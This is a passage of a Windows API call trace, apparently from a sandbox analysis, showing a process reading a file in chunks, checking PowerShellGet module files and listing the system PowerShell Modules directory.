hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x7d000 [0177.823] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.823] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x7e000 [0177.823] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.824] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x7f000 [0177.824] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.824] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x80000 [0178.102] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.103] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x81000 [0178.103] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.104] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x82000 [0178.104] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.105] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x83000 [0178.105] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.105] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x84000 [0178.118] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.120] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x85000 [0178.120] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.121] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x86000 [0178.126] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.128] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x87000 [0178.128] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.128] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x88000 [0178.129] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.130] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x89000 [0178.130] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.130] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x8a000 [0178.130] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.131] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x8b000 [0178.132] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0178.132] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x8c000 [0178.132] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0xaa9, lpOverlapped=0x0) returned 1 [0178.132] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x8caa9 [0178.133] ReadFile (in: hFile=0x3e0, lpBuffer=0x242464d, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x242464d*, lpNumberOfBytesRead=0x599d594*=0x0, lpOverlapped=0x0) returned 1 [0178.133] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x8caa9 [0178.133] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x0, lpOverlapped=0x0) returned 1 [0178.152] CloseHandle (hObject=0x3e0) returned 1 [0182.013] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0182.013] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0182.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d2ec) returned 1 [0182.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x248f328 | out: lpFileInformation=0x248f328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0182.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d2e8) returned 1 [0182.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0182.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0182.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e0e4) returned 1 [0182.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x24b3860 | out: lpFileInformation=0x24b3860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0182.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e0e0) returned 1 [0182.305] EtwEventActivityIdControl () returned 0x0 [0182.309] SetEvent (hEvent=0x414) returned 1 [0182.310] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x599e8c4*=0x414, lpdwindex=0x599e6e8 | out: lpdwindex=0x599e6e8) returned 0x0 [0182.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0182.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0182.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e7a4) returned 1 [0182.312] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x24b6870 | out: lpFileInformation=0x24b6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0182.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7a0) returned 1 [0182.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0182.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0182.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0182.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0182.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0182.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0182.322] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0182.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eab4) returned 1 [0182.323] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0182.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0182.324] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x599e864 | out: lpFindFileData=0x599e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8a8 [0182.324] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0182.325] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0182.326] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0182.326] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0182.326] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0182.326] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0182.326] FindClose (in: hFindFile=0x37e8a8 | out: hFindFile=0x37e8a8) returned 1 [0182.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e824) returned 1 [0182.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea84) returned 1 [0182.326] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0182.327] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0182.327] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0182.327] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0182.328] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff 